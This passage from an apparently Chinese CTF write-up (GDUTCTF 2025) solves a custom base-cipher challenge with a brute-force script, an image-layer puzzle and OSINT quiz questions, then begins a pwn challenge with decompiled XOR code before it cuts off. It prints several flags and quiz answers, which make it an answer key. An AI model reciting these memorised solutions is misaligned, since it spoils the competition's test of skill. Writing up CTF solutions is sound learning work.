&lt;/span&gt;&lt;span&gt;range&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;24&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;):&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;byte_bin &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; bin_str[j:j&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;&lt;span&gt;(byte_bin) &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;byte_val &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;(byte_bin, &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;bytes_list.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(byte_val)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; bytes_list&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;37&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# 尝试所有排列&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;38&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; perm &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; perms:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;39&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;mapping_dict &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; {from_chars[i]: perm[i] &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; i &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;range&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;)}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;40&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;try&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;41&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;decoded_bytes &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;decode_with_mapping&lt;/span&gt;&lt;span&gt;(mapping_dict, encoded_str)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;42&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;# 检查是否以 flag{ 开头&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;43&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;bytes&lt;/span&gt;&lt;span&gt;(decoded_bytes[:&lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt;&lt;span&gt;]) &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&apos;flag{&apos;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;44&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;找到正确映射!&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;45&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;映射:&quot;&lt;/span&gt;&lt;span&gt;, mapping_dict)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;46&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;flag_text &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;bytes&lt;/span&gt;&lt;span&gt;&lt;span&gt;(decoded_bytes).&lt;/span&gt;&lt;span&gt;decode&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&apos;ascii&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;errors&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&apos;ignore&apos;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;47&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;解码结果:&quot;&lt;/span&gt;&lt;span&gt;, flag_text)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;48&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;break&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;49&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;except&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;50&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;pass&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;51&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;else&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;52&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;未找到 flag{ 开头的映射&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;显示更多&lt;/span&gt;&lt;span&gt;显示更少&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1020&quot; src=&quot;/_astro/image-20251125124240154.CIvA7dPk_Z2pH7X1.webp&quot; /&gt;&lt;figcaption&gt;爆破Basehajimi&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;flag{B4s3H@j1mi-I5_An_4W3sOM3-M0DlFied_b@S3-cIpher!!!}&lt;/strong&gt;&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;&lt;strong&gt;Challenge Info&lt;/strong&gt; &lt;strong&gt;-&lt;/strong&gt; &lt;strong&gt;[Easy] フラッグモザイク&lt;/strong&gt;&lt;a href=&quot;#challenge-info---easy-フラッグモザイク&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;下载附件，是一张图片：&lt;/p&gt;&lt;p&gt;[image.tif](GDUTCTF 2025——Writeup.assets\image.tif)&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;344&quot; height=&quot;611&quot; src=&quot;/_astro/image-20251125124716179.DvKEVPH2_Z2cUCKh.webp&quot; /&gt;&lt;figcaption&gt;涩图？&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;可以看到有一部分被遮盖了，并且图片的后缀名也不是常见的图片后缀名。&lt;/p&gt;&lt;p&gt;尽管window照片可以直接打开，但是我想这样的格式或许会有更专业的软件。&lt;/p&gt;&lt;p&gt;必应搜索“tif格式用什么软件打开”：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1852&quot; height=&quot;925&quot; src=&quot;/_astro/image-20251125125208489.D62bwD0j_AE5Pz.webp&quot; /&gt;&lt;figcaption&gt;TIF格式用什么打开&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Ps是收费的，虽然有破解版但是没那么多时间去找资源了。下载一个GIMP看看。这里就不展示下载过程了。&lt;/p&gt;&lt;p&gt;打开之后是这样的：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1021&quot; src=&quot;/_astro/image-20251125125351288.BbShiHDe_Z1ygAgM.webp&quot; /&gt;&lt;figcaption&gt;GIMP欢迎使用&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;选择附件的 [image.tif](GDUTCTF 2025——Writeup.assets\image.tif) 打开，惊讶的发现这一个图片有多个图像，而且其中一个图像的名字正是flag！&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1021&quot; src=&quot;/_astro/image-20251125125545352.saUWeSV9_ZI5Eel.webp&quot; /&gt;&lt;figcaption&gt;TIF中存在多个图像&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;导入flag后放大仔细观察，可以在右下角发现某些地方似乎和背景不同：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1021&quot; src=&quot;/_astro/image-20251125125710719.CPl099D__lKcB4.webp&quot; /&gt;&lt;figcaption&gt;观察flag右下角&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;因为第一次用这个软件，不知道怎么可以删除干扰的背景，花了好一会一点一点尝试，最后发现可以这样：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1021&quot; src=&quot;/_astro/image-20251125130017724.BmoGNFaN_16dGK0.webp&quot; /&gt;&lt;figcaption&gt;删除透明背景&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;flag就在其中:&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1021&quot; src=&quot;/_astro/image-20251125130054466.B9SHor09_2egWHR.webp&quot; /&gt;&lt;figcaption&gt;flag&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;flag{oM07h1rOi!y0u_kn0w_t1fF_sUp9or7s_L@y3rs}&lt;/strong&gt;&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;&lt;strong&gt;题目信息&lt;/strong&gt; &lt;strong&gt;-&lt;/strong&gt; &lt;strong&gt;[Easy] 知识问答&lt;/strong&gt;&lt;a href=&quot;#题目信息---easy-知识问答&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://chat.deepseek.com/share/2uozimil9jqk20kk55&quot; target=&quot;_blank&quot;&gt;ds的聊天记录&lt;/a&gt;&lt;/p&gt;&lt;p&gt;这个就没什么技巧了，不会的就问ds，不过ds也不一定是对的，某些怀疑的答案可以同时用搜索引擎寻找答案。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1852&quot; height=&quot;925&quot; src=&quot;/_astro/image-20251125164506855.hkBtaboq_Z2uxlpw.webp&quot; /&gt;&lt;figcaption&gt;知识问答&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;flag{6dd6996a-a6db-49bf-80af-7103e919bd94}&lt;/strong&gt;&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;&lt;strong&gt;题目信息&lt;/strong&gt; &lt;strong&gt;-&lt;/strong&gt; &lt;strong&gt;[Easy] 调查问卷&lt;/strong&gt;&lt;a href=&quot;#题目信息---easy-调查问卷&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;填问卷送flag啦！&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;Osint&lt;a href=&quot;#osint&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;&lt;strong&gt;题目信息&lt;/strong&gt; &lt;strong&gt;-&lt;/strong&gt; &lt;strong&gt;[Normal] Neko Q&amp;amp;A&lt;/strong&gt;&lt;a href=&quot;#题目信息---normal-neko-qa&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.doubao.com/thread/wbb061525a0332b41&quot; target=&quot;_blank&quot;&gt;豆包的对话记录&lt;/a&gt;&lt;/p&gt;&lt;p&gt;开启靶机，是一个问答网站。&lt;/p&gt;&lt;p&gt;第一题非常简单，直接可以找到日期。&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;900&quot; src=&quot;/_astro/image-20251125165238980.CVNTCdsf_2anXug.webp&quot; /&gt;&lt;figcaption&gt;初音未来痛车&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;不过Hatsune Miku提交之后却提示错误。询问豆包发现原来是Racing Miku（赛车未来）（话说到底有多少种未来？）&lt;/p&gt;&lt;p&gt;&lt;strong&gt;第一题答案：Racing Miku/20250930-20251008&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;第二题的高达也非常有象征性，在必应搜索“高达立像”，可以找到相关信息：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1833&quot; height=&quot;972&quot; src=&quot;/_astro/image-20251125170232475.UMnyzR63_Z2mcqE2.webp&quot; /&gt;&lt;figcaption&gt;搜索高达立像&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;可以知道是高达立像的位置&lt;strong&gt;上海金桥购物中心&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1833&quot; height=&quot;941&quot; src=&quot;/_astro/image-20251125170342870.cBS21kxm_Z7KwoB.webp&quot; /&gt;&lt;figcaption&gt;百度词条&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;这个词条页面可以找到高达立像的首演日期：&lt;strong&gt;2021/05/28&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;同样的，搜索“上海金桥购物中心运营企业”可以找到：&lt;strong&gt;三井不動産&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;题目强调了企业如果为境外企业请使用 &lt;strong&gt;所属地语言文字&lt;/strong&gt; 表示。所以答案是：&lt;strong&gt;20210528/三井不動産株式会社&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;第三题我看不出来，豆包给出了答案：圆融时代广场/20090101&lt;/p&gt;&lt;p&gt;但是提交却没有通过。搜索“圆融时代广场开幕日期”，发现其实是：20080928。那么第三题答案就是：&lt;strong&gt;圆融时代广场/20080928&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;填写所有答案之后得到flag：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1852&quot; height=&quot;925&quot; src=&quot;/_astro/image-20251125171232035.DBdrnHj4_Z2fasfd.webp&quot; /&gt;&lt;figcaption&gt;flag&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;flag{828ed7f1-6282-499c-a052-8eaa4d877781}&lt;/strong&gt;&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;&lt;strong&gt;题目信息&lt;/strong&gt; &lt;strong&gt;-&lt;/strong&gt; &lt;strong&gt;[Normal] 广工问答&lt;/strong&gt;&lt;a href=&quot;#题目信息---normal-广工问答&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;也是一个问答网站，四个问题。&lt;/p&gt;&lt;p&gt;第一题直接搜索“首届广东工业大学网络安全技能大赛”&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1852&quot; height=&quot;925&quot; src=&quot;/_astro/image-20251125173418804.kAEcoat6_xmNKl.webp&quot; /&gt;&lt;figcaption&gt;搜索首届GDUT CTD&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1833&quot; height=&quot;922&quot; src=&quot;/_astro/image-20251125173724048.CbZ4uxTx_1IIuw8.webp&quot; /&gt;&lt;figcaption&gt;2024GDUT CTf&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;所以第一题答案：&lt;strong&gt;202412070900-202412071830&lt;/strong&gt;。&lt;/p&gt;&lt;p&gt;第二题搜索题目关键词“广东工业大学保卫处”：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1833&quot; height=&quot;925&quot; src=&quot;/_astro/image-20251125180120836.CdwslMTS_Z1Qiy8S.webp&quot; /&gt;&lt;figcaption&gt;搜索&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;在保卫处平台搜索关键词“自行车共享服务”：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1833&quot; height=&quot;922&quot; src=&quot;/_astro/image-20251125180403924.BKsf757R_qvcIu.webp&quot; /&gt;&lt;figcaption&gt;自行车共享服务&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;所以第二题答案：&lt;strong&gt;20240118&lt;/strong&gt;。&lt;/p&gt;&lt;p&gt;第三题搜索“广东工业大学书目检索系统”，最前面的广工电子图书馆，但是电子图书馆中我没有找到相关信息。&lt;/p&gt;&lt;p&gt;再往下查看，发现了另一个网页：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1833&quot; height=&quot;923&quot; src=&quot;/_astro/image-20251125174209977.aBoXrx6z_2gpQEm.webp&quot; /&gt;&lt;figcaption&gt;搜索广工书目检索系统&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1852&quot; height=&quot;925&quot; src=&quot;/_astro/image-20251125174335930.DqNbuhar_Z7rnSe.webp&quot; /&gt;&lt;figcaption&gt;广工书目检索系统&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;于是找到第三题答案：&lt;strong&gt;SULCMIS-OPAC 4.01&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;第四题搜索“广东工业大学 全运会”：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1833&quot; height=&quot;922&quot; src=&quot;/_astro/image-20251125175033264.Q99o9Qaa_Z9ta.webp&quot; /&gt;&lt;figcaption&gt;搜索广东工业大 全运会&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1833&quot; height=&quot;920&quot; src=&quot;/_astro/image-20251125175152842.DNsdkfbC_NNHRd.webp&quot; /&gt;&lt;figcaption&gt;广东工业大学 全运会&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;所以第四题答案：&lt;strong&gt;9 4&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;回答所有问题得到flag：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1852&quot; height=&quot;925&quot; src=&quot;/_astro/image-20251125180455992.IYDtgEgw_Z1ypegg.webp&quot; /&gt;&lt;figcaption&gt;广工问答flag&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;flag{2549e4b8-94a2-4526-bffd-273cb08598fe}&lt;/strong&gt;&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;Pwn&lt;a href=&quot;#pwn&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;&lt;strong&gt;题目信息&lt;/strong&gt; &lt;strong&gt;-&lt;/strong&gt; &lt;strong&gt;[Easy] checkin&lt;/strong&gt;&lt;a href=&quot;#题目信息---easy-checkin&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://chat.deepseek.com/share/d20pw4bhg6clu0kzb7&quot; target=&quot;_blank&quot;&gt;与ds的对话&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://dogbolt.org/&quot; target=&quot;_blank&quot;&gt;用到的在线反汇编网站&lt;/a&gt;&lt;/p&gt;&lt;p&gt;下载附件，是一个二进制文件。用在线网站反汇编，可以得到代码。这里附上比较关键的部分：&lt;/p&gt;&lt;blockquote&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;decrypt_cmd&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; result;&lt;/span&gt;&lt;span&gt; // eax&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; i;&lt;/span&gt;&lt;span&gt; // [rsp+Ch] [rbp-4h]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;result &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;puts&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;Decryption routine activated&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; ( i &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;; i &lt;/span&gt;&lt;span&gt;&amp;lt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;span&gt;; &lt;/span&gt;&lt;span&gt;++&lt;/span&gt;&lt;span&gt;i )&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;result &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; i;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;cmd&lt;/span&gt;&lt;span&gt;[i] &lt;/span&gt;&lt;span&gt;^=&lt;/span&gt;&lt;span&gt; key;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; 